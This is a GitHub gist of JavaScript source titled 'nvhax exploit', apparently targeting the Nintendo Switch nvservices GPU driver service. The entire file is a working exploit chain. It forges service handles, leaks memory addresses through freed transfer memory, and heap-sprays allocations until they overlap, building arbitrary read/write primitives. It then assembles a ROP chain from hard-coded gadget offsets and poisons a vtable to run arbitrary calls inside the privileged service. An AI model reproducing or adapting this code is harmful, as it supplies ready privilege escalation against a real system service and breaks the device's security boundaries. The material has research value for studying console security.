Created
December 28, 2018 19:39
-
-
Save hexkyz/ec24244e8771d90b0dbde919fc3c6323 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
nvhax exploit | |
*/ | |
// Global nvservices exploit context | |
sploitcore.prototype.nvdrv_exp_ctx = {}; | |
sploitcore.prototype.spawn_nvdrv_srv = function(sm_handle, transf_mem_addr, transf_mem_size) { | |
// Forge a new service handle for NVDRV | |
var srv_handle = this.forge_handle(sm_handle, "nvdrv:t"); | |
// Initialize NVDRV | |
var init_res = this.nvdrv_init(srv_handle, transf_mem_size, 0, transf_mem_addr); | |
var nvdrv_buf = init_res[0]; | |
var mem_addr = init_res[1]; | |
// Open "/dev/nvhost-gpu" | |
var gpu_dev_handle = this.nvdrv_open(nvdrv_buf, "/dev/nvhost-gpu"); | |
return [srv_handle, nvdrv_buf, mem_addr, gpu_dev_handle]; | |
} | |
sploitcore.prototype.destroy_nvdrv_srv = function(sm_handle, srv_handle, mem_addr, meminfo, pageinfo) { | |
// Close the handle | |
this.svc(0x16, [srv_handle], false); | |
// Set dummy memory state | |
var mem_state = [0x00, 0x01]; | |
// Wait for nvservices to release memory | |
while (mem_state[1]) | |
{ | |
// Call QueryMem | |
this.svc(0x06, [meminfo, pageinfo, mem_addr], false); | |
// Read state | |
mem_state = this.read8(meminfo, 0x10/4); | |
} | |
} | |
sploitcore.prototype.leak_nvdrv_srv = function(sm_handle, mem_size, meminfo, pageinfo) { | |
// Spawn leaker service | |
var nvdrv_res = this.spawn_nvdrv_srv(sm_handle, 0, 0x100000); | |
var srv_handle = nvdrv_res[0]; | |
var nvdrv_buf = nvdrv_res[1]; | |
var mem_addr = nvdrv_res[2]; | |
// Destroy leaker service | |
this.destroy_nvdrv_srv(sm_handle, srv_handle, mem_addr, meminfo, pageinfo); | |
// Leak out base address | |
var nvmem_base_addr = this.read8(mem_addr, 0x8008/4); | |
if (mem_size == 0x01) | |
nvmem_base_addr = utils.add2(nvmem_base_addr, -0x8000); | |
else if (mem_size == 0x08) | |
nvmem_base_addr = utils.add2(nvmem_base_addr, -0xC000); | |
else if (mem_size == 0x40) | |
nvmem_base_addr = utils.add2(nvmem_base_addr, -0x2B000); | |
this.free(mem_addr); | |
return nvmem_base_addr; | |
} | |
sploitcore.prototype.install_nvdrv_rw = function() { | |
var sm_handle = this.nvdrv_exp_ctx[0]; | |
var meminfo = this.malloc(0x40); | |
var pageinfo = this.malloc(0x10); | |
// Spawn first service | |
var nvdrv_obj0 = this.spawn_nvdrv_srv(sm_handle, 0, 0x100000); | |
var obj0_srv_handle = nvdrv_obj0[0]; | |
var obj0_nvdrv_buf = nvdrv_obj0[1]; | |
var obj0_mem_addr = nvdrv_obj0[2]; | |
var obj0_gpu_dev_handle = nvdrv_obj0[3]; | |
// Open "/dev/nvhost-gpu" | |
var gpu_dev_handle = this.nvdrv_open(obj0_nvdrv_buf, "/dev/nvhost-gpu"); | |
// Destroy first service | |
this.destroy_nvdrv_srv(sm_handle, obj0_srv_handle, obj0_mem_addr, meminfo, pageinfo); | |
// Find the nvhost channel's address | |
var nvhost_channel_addr = this.read8(obj0_mem_addr, 0xC000/4); | |
utils.log('nvhost_channel_addr: ' + utils.paddr(nvhost_channel_addr)); | |
this.free(obj0_mem_addr); | |
// Spawn second service | |
var nvdrv_obj1 = this.spawn_nvdrv_srv(sm_handle, 0, 0x100000); | |
var nvdrv_obj1_addr = this.leak_nvdrv_srv(sm_handle, 1, meminfo, pageinfo); | |
var obj1_srv_handle = nvdrv_obj1[0]; | |
var obj1_nvdrv_buf = nvdrv_obj1[1]; | |
var obj1_mem_addr = nvdrv_obj1[2]; | |
var obj1_gpu_dev_handle = nvdrv_obj1[3]; | |
utils.log('nvdrv_obj1_addr: ' + utils.paddr(nvdrv_obj1_addr)); | |
// Set dummy address for obj1 | |
this.nvdrv_gpu_set_user_addr(obj1_nvdrv_buf, obj1_gpu_dev_handle, [0x12345678, 0x87654321]); | |
var malTries = 0; | |
var malBuf = this.malloc(0x4000000); | |
var malBase; | |
this.write4(0x41424344, malBuf, 0x80/4); | |
// Craft transfer memory | |
for (var i = 0x50000; i < 0x4000000; i += 0x10000) { | |
var hwctx = utils.add2(nvdrv_obj1_addr, 0); | |
var rwaddr = utils.add2(nvdrv_obj1_addr, 0xC008 - 0x78); | |
this.write4(nvhost_channel_addr[0], malBuf, (0x00 + i)/4); | |
this.write4(nvhost_channel_addr[1], malBuf, (0x04 + i)/4); | |
this.write4(rwaddr[0], malBuf, (0x08 + i)/4); | |
this.write4(rwaddr[1], malBuf, (0x0C + i)/4); | |
} | |
// Do 64MB allocations until high byte is 00 | |
while (true) { | |
var nvdrv_obj2 = this.spawn_nvdrv_srv(sm_handle, malBuf, 0x4000000); | |
var obj2_srv_handle = nvdrv_obj2[0]; | |
var obj2_nvdrv_buf = nvdrv_obj2[1]; | |
var obj2_mem_addr = nvdrv_obj2[2]; | |
var obj2_gpu_dev_handle = nvdrv_obj2[3]; | |
malBase = this.leak_nvdrv_srv(sm_handle, 0x40, meminfo, pageinfo); | |
malTries++; | |
utils.log('Allocated 64MB at ' + utils.paddr(malBase)); | |
if (malBase[1] == 0 && malBase[0] <= 0xfc000000) | |
break; | |
this.destroy_nvdrv_srv(sm_handle, obj2_srv_handle, obj2_mem_addr, meminfo, pageinfo); | |
this.free(obj2_mem_addr); | |
} | |
utils.log('Final malobj at ' + utils.paddr(malBase) + ' after ' + malTries + ' tries'); | |
var loBound = malBase[0] + 0x50000 - 0x10000; | |
var hiBound = malBase[0] + 0x4000000 - 0x20000; | |
var vicTries = 0; | |
var vicBuf = this.malloc(0x800000); | |
var vicBase; | |
// Force GC | |
this.gc(); | |
// Do 8MB allocations until it overlaps | |
while (true) { | |
var nvdrv_obj3 = this.spawn_nvdrv_srv(sm_handle, vicBuf, 0x800000); | |
var obj3_srv_handle = nvdrv_obj3[0]; | |
var obj3_nvdrv_buf = nvdrv_obj3[1]; | |
var obj3_mem_addr = nvdrv_obj3[2]; | |
var obj3_gpu_dev_handle = nvdrv_obj3[3]; | |
vicBase = this.leak_nvdrv_srv(sm_handle, 0x08, meminfo, pageinfo); | |
vicTries++; | |
utils.log('Allocated 8MB at ' + utils.paddr(vicBase)); | |
if (vicBase[0] >= loBound && vicBase[0] < hiBound) | |
break; | |
this.destroy_nvdrv_srv(sm_handle, obj3_srv_handle, obj3_mem_addr, meminfo, pageinfo); | |
this.free(obj3_mem_addr); | |
} | |
var rop_base = utils.add2(vicBase, 0x400000); | |
utils.log('Final malobj at ' + utils.paddr(malBase) + ' after ' + malTries + ' tries'); | |
utils.log('Final vicobj at ' + utils.paddr(vicBase) + ' after ' + vicTries + ' tries'); | |
utils.log('Target object at ' + utils.paddr([vicBase[0] + 0x10000, 0])); | |
utils.log('Offset + 0x' + (vicBase[0] - malBase[0]).toString(16)); | |
// Spawn last object | |
var nvdrv_obj4 = this.spawn_nvdrv_srv(sm_handle, 0, 0x100000); | |
var obj4_srv_handle = nvdrv_obj4[0]; | |
var obj4_nvdrv_buf = nvdrv_obj4[1]; | |
var obj4_mem_addr = nvdrv_obj4[2]; | |
var obj4_gpu_dev_handle = nvdrv_obj4[3]; | |
// Open "/dev/nvhost-ctrl-gpu" | |
var gpu_ctrl_dev_handle = this.nvdrv_open(obj4_nvdrv_buf, "/dev/nvhost-ctrl-gpu"); | |
// Overwrite pointer with 00 | |
var target_addr = utils.add2(vicBase, 0xF000 + 4); | |
this.nvdrv_wait_for_pause(obj4_nvdrv_buf, gpu_ctrl_dev_handle, target_addr, 0x01); | |
// Read back the user address of obj3 | |
var user_addr = this.nvdrv_gpu_get_user_addr(obj3_nvdrv_buf, obj3_gpu_dev_handle); | |
utils.log('user addr ' + utils.paddr(user_addr)); | |
// Write obj2's address into forged buffer | |
var test_addr_lo = malBase[0] + 0x80 - 0x78; | |
var test_addr_hi = malBase[1]; | |
this.nvdrv_gpu_set_user_addr(obj3_nvdrv_buf, obj3_gpu_dev_handle, [test_addr_lo, test_addr_hi]); | |
// Read back from forged buffer | |
user_addr = this.nvdrv_gpu_get_user_addr(obj1_nvdrv_buf, obj1_gpu_dev_handle); | |
utils.log('user addr ' + utils.paddr(user_addr)); | |
// Free memory | |
this.free(meminfo); | |
this.free(pageinfo); | |
// Initialize RW context | |
this.nvdrv_exp_ctx[2] = obj3_nvdrv_buf; | |
this.nvdrv_exp_ctx[3] = obj3_gpu_dev_handle; | |
this.nvdrv_exp_ctx[4] = obj1_nvdrv_buf; | |
this.nvdrv_exp_ctx[5] = obj1_gpu_dev_handle; | |
this.nvdrv_exp_ctx[6] = rop_base; | |
} | |
sploitcore.prototype.read_nvdrv_mem = function(mem_addr) { | |
// Unwrap RW context | |
var obj0_nvdrv_buf = this.nvdrv_exp_ctx[2]; | |
var obj0_gpu_dev_handle = this.nvdrv_exp_ctx[3]; | |
var obj1_nvdrv_buf = this.nvdrv_exp_ctx[4]; | |
var obj1_gpu_dev_handle = this.nvdrv_exp_ctx[5]; | |
var mem_addr_ptr = utils.add2(mem_addr, -0x78); | |
var mem_addr_ptr_lo = mem_addr_ptr[0]; | |
var mem_addr_ptr_hi = mem_addr_ptr[1]; | |
// Set the target address | |
this.nvdrv_gpu_set_user_addr(obj0_nvdrv_buf, obj0_gpu_dev_handle, [mem_addr_ptr_lo, mem_addr_ptr_hi]); | |
// Read the data | |
var nvdrv_mem = this.nvdrv_gpu_get_user_addr(obj1_nvdrv_buf, obj1_gpu_dev_handle); | |
return [nvdrv_mem[0], nvdrv_mem[1]]; | |
} | |
sploitcore.prototype.write_nvdrv_mem = function(mem_addr, mem_val) { | |
// Unwrap RW context | |
var obj0_nvdrv_buf = this.nvdrv_exp_ctx[2]; | |
var obj0_gpu_dev_handle = this.nvdrv_exp_ctx[3]; | |
var obj1_nvdrv_buf = this.nvdrv_exp_ctx[4]; | |
var obj1_gpu_dev_handle = this.nvdrv_exp_ctx[5]; | |
var mem_addr_ptr = utils.add2(mem_addr, -0x78); | |
var mem_addr_ptr_lo = mem_addr_ptr[0]; | |
var mem_addr_ptr_hi = mem_addr_ptr[1]; | |
// Set the target address | |
this.nvdrv_gpu_set_user_addr(obj0_nvdrv_buf, obj0_gpu_dev_handle, [mem_addr_ptr_lo, mem_addr_ptr_hi]); | |
// Write the data | |
var mem_val_lo = mem_val[0]; | |
var mem_val_hi = mem_val[1]; | |
this.nvdrv_gpu_set_user_addr(obj1_nvdrv_buf, obj1_gpu_dev_handle, [mem_val_lo, mem_val_hi]); | |
} | |
sploitcore.prototype.build_nvdrv_rop = function(nvdrv_base) { | |
var nvdrv_base = this.nvdrv_exp_ctx[1]; | |
var rop_base = this.nvdrv_exp_ctx[6]; | |
var rop_buf = utils.add2(rop_base, 0x80000); | |
utils.log('rop_buf: '+ utils.paddr(rop_buf)); | |
// Gadgets | |
var channel_to_base = utils.add2(nvdrv_base, 0x61d910); | |
var store_return_branch_a8 = utils.add2(nvdrv_base, 0x2234); | |
var br_38 = utils.add2(nvdrv_base, 0x7F174); | |
var add_x8_br_x2 = utils.add2(nvdrv_base, 0xBFFF0); | |
var add_x8_adj = 0x608; | |
var ldr_blr_x9 = utils.add2(nvdrv_base, 0x7B20C); | |
var partial_load = utils.add2(nvdrv_base, 0xB4DAC); | |
var shuffle_x0_x8 = utils.add2(nvdrv_base, 0x7CCB8); | |
var store_branch_60 = utils.add2(nvdrv_base, 0x2E6CC); | |
var ldr_br_x1 = utils.add2(nvdrv_base, 0x2244); | |
var save = utils.add2(nvdrv_base, 0xB2328); | |
var ldr_x0_ret = utils.add2(nvdrv_base, 0xC180C); | |
var load = utils.add2(nvdrv_base, 0xB4D74); | |
var br_x16 = utils.add2(nvdrv_base, 0x334); | |
var ldr_x19_ret = utils.add2(nvdrv_base, 0x7635C); | |
var str_x20 = utils.add2(nvdrv_base, 0x8890); | |
var str_x8_x19 = utils.add2(nvdrv_base, 0x40224); | |
var str_x0_x19 = utils.add2(nvdrv_base, 0x47154); | |
var str_x2_x19 = utils.add2(nvdrv_base, 0x4468C); | |
var ldr_x8_str_0_x19 = utils.add2(nvdrv_base, 0xBDFB8); | |
var blr_x8_ret = utils.add2(nvdrv_base, 0xF07C); | |
var ldr_x2_str_x1_x2 = utils.add2(nvdrv_base, 0x11B18); | |
var ldr_x8_ldr_X1_br_x1 = utils.add2(nvdrv_base, 0x7CDB0); | |
var refresh_x19_x20 = utils.add2(nvdrv_base, 0x7D0); | |
var magic_copy_fuckery = utils.add2(nvdrv_base, 0xE548); | |
var return_address = utils.add2(nvdrv_base, 0x46B0); | |
// Pointers | |
var vtable = utils.add2(rop_buf, 0x1000); | |
var vtable2 = utils.add2(rop_buf, 0x2000); | |
var pl_buf1 = utils.add2(rop_buf, 0x3000); | |
var pl_buf2 = utils.add2(rop_buf, 0x4000); | |
var save_buf = utils.add2(rop_buf, 0x6000); | |
var store_sp = utils.add2(rop_buf, 0x7000); | |
var vtable_save = utils.add2(rop_buf, 0x8000); | |
var load_buf = utils.add2(rop_buf, 0x9000); | |
var sp = utils.add2(rop_buf, 0x20000); | |
this.write_nvdrv_mem(rop_buf, vtable); | |
this.write_nvdrv_mem(utils.add2(vtable, 0x08), store_return_branch_a8); | |
this.write_nvdrv_mem(utils.add2(vtable, 0x28), store_return_branch_a8); | |
this.write_nvdrv_mem(utils.add2(vtable, 0x38), add_x8_br_x2); | |
this.write_nvdrv_mem(utils.add2(vtable, 0xA8), br_38); | |
this.write_nvdrv_mem(utils.add2(vtable, add_x8_adj), pl_buf1); | |
this.write_nvdrv_mem(utils.add2(vtable, add_x8_adj + 8), ldr_blr_x9); | |
this.write_nvdrv_mem(utils.add2(vtable, add_x8_adj + 0xF8), utils.add2(store_sp, 0x10)); | |
this.write_nvdrv_mem(utils.add2(vtable, add_x8_adj + 0x100), br_38); | |
this.write_nvdrv_mem(pl_buf1, vtable2); | |
this.write_nvdrv_mem(utils.add2(pl_buf1, 8), partial_load); | |
this.write_nvdrv_mem(vtable2, pl_buf2); | |
this.write_nvdrv_mem(utils.add2(vtable2, 0x38), shuffle_x0_x8); | |
this.write_nvdrv_mem(pl_buf2, save_buf); | |
this.write_nvdrv_mem(utils.add2(save_buf, 0x28), store_branch_60); | |
this.write_nvdrv_mem(utils.add2(pl_buf2, 0x60), partial_load); | |
this.write_nvdrv_mem(utils.add2(pl_buf2, 0xF8), sp); | |
this.write_nvdrv_mem(utils.add2(pl_buf2, 0x100), ldr_br_x1); | |
this.write_nvdrv_mem(save_buf, vtable_save); | |
this.write_nvdrv_mem(vtable_save, save); | |
this.write_nvdrv_mem(utils.add2(sp, 0x8), ldr_x0_ret); | |
sp = utils.add2(sp, 0x10); | |
// Save | |
this.write_nvdrv_mem(utils.add2(sp, 0x08), load_buf); | |
this.write_nvdrv_mem(utils.add2(sp, 0x18), load); | |
sp = utils.add2(sp, 0x20); | |
this.write_nvdrv_mem(utils.add2(sp, 0x08), ldr_x19_ret); | |
sp = utils.add2(sp, 0x10); | |
// Cleanup | |
var hax_buf = utils.add2(rop_buf, 0x10000); | |
var dump_buf = utils.add2(rop_buf, 0x11000); | |
this.write_nvdrv_mem(utils.add2(sp, 0x00), utils.add2(hax_buf, -0x1A8)); | |
this.write_nvdrv_mem(utils.add2(sp, 0x18), str_x20); | |
sp = utils.add2(sp, 0x20); | |
this.write_nvdrv_mem(utils.add2(sp, 0x08), utils.add2(hax_buf, -0x8)); | |
this.write_nvdrv_mem(utils.add2(sp, 0x18), str_x8_x19); | |
sp = utils.add2(sp, 0x20); | |
this.write_nvdrv_mem(utils.add2(sp, 0x00), utils.add2(hax_buf, 0x10)); | |
this.write_nvdrv_mem(utils.add2(sp, 0x18), str_x0_x19); | |
sp = utils.add2(sp, 0x20); | |
this.write_nvdrv_mem(utils.add2(sp, 0x00), utils.add2(hax_buf, -0x90)); | |
this.write_nvdrv_mem(utils.add2(sp, 0x18), str_x2_x19); | |
sp = utils.add2(sp, 0x20); | |
this.write_nvdrv_mem(utils.add2(sp, 0x08), utils.add2(hax_buf, 0x100)); | |
this.write_nvdrv_mem(utils.add2(sp, 0x18), ldr_x8_str_0_x19); | |
sp = utils.add2(sp, 0x20); | |
this.write_nvdrv_mem(utils.add2(sp, 0x08), ldr_x2_str_x1_x2); | |
this.write_nvdrv_mem(utils.add2(sp, 0x28), blr_x8_ret); | |
sp = utils.add2(sp, 0x30); | |
this.write_nvdrv_mem(utils.add2(sp, 0x00), utils.add2(hax_buf, 0x20)); | |
sp = utils.add2(sp, 0x10); | |
this.write_nvdrv_mem(utils.add2(sp, 0x8), ldr_x0_ret); | |
sp = utils.add2(sp, 0x10); | |
this.write_nvdrv_mem(utils.add2(sp, 0x08), dump_buf); | |
this.write_nvdrv_mem(utils.add2(sp, 0x18), ldr_x8_ldr_X1_br_x1); | |
sp = utils.add2(sp, 0x20); | |
this.write_nvdrv_mem(dump_buf, dump_buf); | |
this.write_nvdrv_mem(utils.add2(dump_buf, 0x8), save); | |
this.write_nvdrv_mem(utils.add2(sp, 0x18), ldr_x0_ret); | |
sp = utils.add2(sp, 0x20); | |
this.write_nvdrv_mem(utils.add2(sp, 0x08), save_buf); | |
this.write_nvdrv_mem(utils.add2(sp, 0x18), refresh_x19_x20); | |
sp = utils.add2(sp, 0x20); | |
this.write_nvdrv_mem(utils.add2(sp, 0x0), utils.add2(utils.add2(store_sp, 0x00), -0x70)); | |
this.write_nvdrv_mem(utils.add2(sp, 0x8), utils.add2(utils.add2(save_buf, 0xF8), -0x08)); | |
this.write_nvdrv_mem(utils.add2(sp, 0x18), magic_copy_fuckery); | |
sp = utils.add2(sp, 0x20); | |
// Fix SP | |
this.write_nvdrv_mem(utils.add2(sp, 0x70), utils.add2(utils.add2(hax_buf, 0x180), -0x70)); | |
this.write_nvdrv_mem(utils.add2(sp, 0x78), utils.add2(utils.add2(save_buf, 0x100), -0x08)); | |
this.write_nvdrv_mem(utils.add2(sp, 0x88), magic_copy_fuckery); | |
sp = utils.add2(sp, 0x90); | |
// Fix LR | |
this.write_nvdrv_mem(utils.add2(hax_buf, 0x180), return_address); | |
this.write_nvdrv_mem(utils.add2(sp, 0x70), utils.add2(utils.add2(hax_buf, 0x190), -0x70)); | |
this.write_nvdrv_mem(utils.add2(sp, 0x78), utils.add2(utils.add2(save_buf, 0x0), -0x08)); | |
this.write_nvdrv_mem(utils.add2(sp, 0x88), magic_copy_fuckery); | |
sp = utils.add2(sp, 0x90); | |
// Fix X0 | |
this.write_nvdrv_mem(utils.add2(hax_buf, 0x188), [0xCAFE, 0x0]); | |
this.write_nvdrv_mem(utils.add2(sp, 0x88), load); | |
sp = utils.add2(sp, 0x90); | |
} | |
sploitcore.prototype.build_nvdrv_call_obj = function() { | |
var sm_handle = this.nvdrv_exp_ctx[0]; | |
var nvdrv_base = this.nvdrv_exp_ctx[1]; | |
var rop_base = this.nvdrv_exp_ctx[6]; | |
var rop_buf = utils.add2(rop_base, 0x80000); | |
// Find the heap | |
var heap_ptr = this.read_nvdrv_mem(utils.add2(nvdrv_base, 0x5CD0D0)); | |
var heap_magic = this.read_nvdrv_mem(heap_ptr); | |
if (heap_magic[0] != 0x45585048) | |
utils.log("Failed to find heap magic!"); | |
else | |
utils.log("Heap magic found!"); | |
var cur_recent = this.read_nvdrv_mem(utils.add2(heap_ptr, 0x80)); | |
// Spawn call object | |
var nvdrv_res = this.spawn_nvdrv_srv(sm_handle, 0, 0x100000); | |
var call_recent = this.read_nvdrv_mem(utils.add2(heap_ptr, 0x80)); | |
if (cur_recent[0] == call_recent[0]) | |
utils.log("Failed to find call object!"); | |
else | |
utils.log("Call object found!"); | |
var ud_magic = this.read_nvdrv_mem(call_recent); | |
if (ud_magic[0] != 0x5544) | |
utils.log("Call object memchunk is freed!"); | |
else | |
utils.log("Call object memchunk is valid!"); | |
var call_vtable_addr = utils.add2(call_recent, 0x20); | |
var old_vtable = this.read_nvdrv_mem(call_vtable_addr); | |
var call_vtable_buf_addr = utils.add2(rop_base, 0x98000); | |
this.write_nvdrv_mem(call_vtable_addr, call_vtable_buf_addr); | |
// Copy vtable contents | |
for (var i = 0; i < 0x200; i += 0x8) { | |
var obj_temp = this.read_nvdrv_mem(utils.add2(old_vtable, i)); | |
this.write_nvdrv_mem(utils.add2(call_vtable_buf_addr, i), obj_temp); | |
} | |
// Gadgets for vtable | |
var br_38 = utils.add2(nvdrv_base, 0x7F174); | |
var shuffle_x0_x8 = utils.add2(nvdrv_base, 0x7CCB8); | |
var add_x8_br_x2 = utils.add2(nvdrv_base, 0xBFFF0); | |
var add_x8_adj = 0x608; | |
// Poison vtable | |
this.write_nvdrv_mem(utils.add2(call_vtable_buf_addr, 0x20), br_38); // Open | |
this.write_nvdrv_mem(utils.add2(call_vtable_buf_addr, 0x38), add_x8_br_x2); | |
this.write_nvdrv_mem(utils.add2(call_vtable_buf_addr, add_x8_adj + 8), shuffle_x0_x8); | |
this.write_nvdrv_mem(utils.add2(call_vtable_buf_addr, add_x8_adj), rop_buf); // Poison **obj | |
return nvdrv_res; | |
} | |
sploitcore.prototype.do_nvdrv_memcpy_in = function(dst, src, size) { | |
var memcpy = this.bridge(0x44338C, types.int, types.void_p, types.void_p, types.int); | |
// Unwrap call context | |
var sm_handle = this.nvdrv_exp_ctx[0]; | |
var tmp_buf = this.nvdrv_exp_ctx[8]; | |
var tmp_buf_size = this.nvdrv_exp_ctx[9]; | |
var meminfo = this.malloc(0x40); | |
var pageinfo = this.malloc(0x10); | |
// Get temp buffer address | |
var tmp_buf_addr = utils.add2(tmp_buf, 0x100000); | |
// Copy in the data | |
memcpy(tmp_buf_addr, src, size); | |
// Spawn a new object backed by the source data | |
var nvdrv_obj = this.spawn_nvdrv_srv(sm_handle, tmp_buf, tmp_buf_size); | |
var obj_srv_handle = nvdrv_obj[0]; | |
var obj_nvdrv_buf = nvdrv_obj[1]; | |
var obj_mem_addr = nvdrv_obj[2]; | |
var obj_gpu_dev_handle = nvdrv_obj[3]; | |
// Leak the new object's base address | |
var nvdrv_obj_base = this.leak_nvdrv_srv(sm_handle, 0x08, meminfo, pageinfo); | |
var nvdrv_buf = utils.add2(nvdrv_obj_base, 0x100000); | |
// Call nvservices memcpy | |
this.do_nvdrv_rop_call(0xBB1F4, [dst, nvdrv_buf, size], [], false); | |
// Release temporary object | |
this.destroy_nvdrv_srv(sm_handle, obj_srv_handle, obj_mem_addr, meminfo, pageinfo); | |
this.free(obj_mem_addr); | |
// Free memory | |
this.free(meminfo); | |
this.free(pageinfo); | |
} | |
sploitcore.prototype.do_nvdrv_memcpy_out = function(dst, src, size) { | |
var memcpy = this.bridge(0x44338C, types.int, types.void_p, types.void_p, types.int); | |
// Unwrap call context | |
var sm_handle = this.nvdrv_exp_ctx[0]; | |
var tmp_buf = this.nvdrv_exp_ctx[8]; | |
var tmp_buf_size = this.nvdrv_exp_ctx[9]; | |
var meminfo = this.malloc(0x40); | |
var pageinfo = this.malloc(0x10); | |
// Spawn a new object backed by the source data | |
var nvdrv_obj = this.spawn_nvdrv_srv(sm_handle, tmp_buf, tmp_buf_size); | |
var obj_srv_handle = nvdrv_obj[0]; | |
var obj_nvdrv_buf = nvdrv_obj[1]; | |
var obj_mem_addr = nvdrv_obj[2]; | |
var obj_gpu_dev_handle = nvdrv_obj[3]; | |
// Leak the new object's base address | |
var nvdrv_obj_base = this.leak_nvdrv_srv(sm_handle, 0x08, meminfo, pageinfo); | |
var nvdrv_buf = utils.add2(nvdrv_obj_base, 0x100000); | |
// Call nvservices memcpy | |
this.do_nvdrv_rop_call(0xBB1F4, [nvdrv_buf, src, size], [], false); | |
// Release temporary object | |
this.destroy_nvdrv_srv(sm_handle, obj_srv_handle, obj_mem_addr, meminfo, pageinfo); | |
this.free(obj_mem_addr); | |
// Get temp buffer address | |
var tmp_buf_addr = utils.add2(tmp_buf, 0x100000); | |
// Copy out the data | |
memcpy(dst, tmp_buf_addr, size); | |
// Free memory | |
this.free(meminfo); | |
this.free(pageinfo); | |
} | |
sploitcore.prototype.do_nvdrv_rop_call = function(func_ptr, args, fargs, dump_regs) { | |
// Unwrap call context | |
var nvdrv_base = this.nvdrv_exp_ctx[1]; | |
var rop_base = this.nvdrv_exp_ctx[6]; | |
var call_obj = this.nvdrv_exp_ctx[7]; | |
var tmp_buf = this.nvdrv_exp_ctx[8]; | |
var tmp_buf_size = this.nvdrv_exp_ctx[9]; | |
// Setup buffers | |
var rop_buf = utils.add2(rop_base, 0x80000); | |
var scratch_buf = utils.add2(rop_base, 0x30000); | |
if (typeof(func_ptr) == 'number') | |
func_ptr = utils.add2(nvdrv_base, func_ptr); | |
switch (arguments.length) { | |
case 1: | |
args = []; | |
case 2: | |
fargs = []; | |
case 3: | |
dump_regs = false; | |
} | |
var saddrs = {}; | |
var scratch_offset = 0; | |
// Parse args | |
for (var i = 0; i < args.length; i++) { | |
if (typeof(args[i]) == 'number') { | |
args[i] = [args[i], 0]; | |
} else if (ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) { | |
var size = args[i].byteLength; | |
var saddr = utils.add2(scratch_buf, scratch_offset); | |
this.do_nvdrv_memcpy_in(saddr, this.getArrayBufferAddr(args[i]), size); | |
saddrs[i] = saddr; | |
scratch_offset += size; | |
if (scratch_offset & 0x7) | |
scratch_offset = ((scratch_offset & 0xFFFFFFF8) + 8); | |
} | |
} | |
// Pointers | |
var vtable_save = utils.add2(rop_buf, 0x8000); | |
var load_buf = utils.add2(rop_buf, 0x9000); | |
var sp = utils.add2(rop_buf, 0x20000); | |
var save_buf = utils.add2(rop_buf, 0x6000); | |
// Gadgets | |
var save = utils.add2(nvdrv_base, 0xB2328); | |
var ldr_x0_ret = utils.add2(nvdrv_base, 0xC180C); | |
var load = utils.add2(nvdrv_base, 0xB4D74); | |
var br_x16 = utils.add2(nvdrv_base, 0x334); | |
var ldr_x19_ret = utils.add2(nvdrv_base, 0x7635C); | |
var store_branch_60 = utils.add2(nvdrv_base, 0x2E6CC); | |
// Write args | |
if (args.length > 0) { | |
for (var i = 0; i < 30 && i < args.length; i++) { | |
if (ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) | |
this.write_nvdrv_mem(utils.add2(load_buf, 8 * i), saddrs[i]); | |
else | |
this.write_nvdrv_mem(utils.add2(load_buf, 8 * i), args[i]); | |
} | |
} | |
// Write extra args | |
if (fargs.length > 0) { | |
for (var i = 0; i < fargs.length && i < 32; i++) | |
this.write_nvdrv_mem(utils.add2(load_buf, 0x110 + 8 * i), fargs[i]); | |
} | |
// Store main branch | |
this.write_nvdrv_mem(utils.add2(save_buf, 0x28), store_branch_60); | |
// Prepare vtable context | |
this.write_nvdrv_mem(save_buf, vtable_save); | |
this.write_nvdrv_mem(vtable_save, save); | |
this.write_nvdrv_mem(utils.add2(sp, 0x8), ldr_x0_ret); | |
sp = utils.add2(sp, 0x10); | |
// Save | |
this.write_nvdrv_mem(utils.add2(sp, 0x08), load_buf); | |
this.write_nvdrv_mem(utils.add2(sp, 0x18), load); | |
sp = utils.add2(sp, 0x20); | |
// Set up calling context | |
this.write_nvdrv_mem(utils.add2(sp, 0x08), ldr_x19_ret); | |
this.write_nvdrv_mem(utils.add2(load_buf, 0x80), func_ptr); | |
this.write_nvdrv_mem(utils.add2(load_buf, 0xF8), sp); | |
this.write_nvdrv_mem(utils.add2(load_buf, 0x100), br_x16); | |
sp = utils.add2(sp, 0x10); | |
// Unwrap call object | |
var srv_handle = call_obj[0]; | |
var nvdrv_buf = call_obj[1]; | |
var mem_addr = call_obj[2]; | |
// Open random device to trigger ROP | |
this.nvdrv_open(nvdrv_buf, "/dev/random"); | |
// Grab result buffer | |
var hax_buf = utils.add2(rop_buf, 0x10000); | |
// Read back result | |
var ret = this.read_nvdrv_mem(utils.add2(hax_buf, 0x10)); | |
if (args.length > 0) { | |
for (var i = 0; i < 30 && i < args.length; i++) { | |
if (ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) { | |
var size = args[i].byteLength; | |
this.do_nvdrv_memcpy_out(this.getArrayBufferAddr(args[i]), saddrs[i], size); | |
} | |
} | |
} | |
return ret; | |
} | |
sploitcore.prototype.init_nvhax = function(sm_handle) { | |
// Get nvservices base address | |
var nvdrv_base = this.get_nvdrv_base(sm_handle); | |
// Save sm_handle and nvdrv_base | |
this.nvdrv_exp_ctx[0] = sm_handle; | |
this.nvdrv_exp_ctx[1] = nvdrv_base; | |
// Install read/write primitives | |
this.install_nvdrv_rw(); | |
utils.log("RW primitives installed!"); | |
// Build up the ROP chain | |
this.build_nvdrv_rop(); | |
utils.log("ROP chain buffer built!"); | |
// Build the ROP call object | |
var call_obj = this.build_nvdrv_call_obj(); | |
utils.log("ROP call object built!"); | |
// Allocate temporary buffer | |
var tmp_buf_size = 0x800000; | |
var tmp_buf = this.malloc(tmp_buf_size); | |
// Initialize call context | |
this.nvdrv_exp_ctx[7] = call_obj; | |
this.nvdrv_exp_ctx[8] = tmp_buf; | |
this.nvdrv_exp_ctx[9] = tmp_buf_size; | |
utils.log("nvservices base address: " + utils.paddr(nvdrv_base)); | |
utils.log("nvservices test address: " + utils.paddr(utils.add2(this.nvdrv_exp_ctx[6], 0x40000))); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment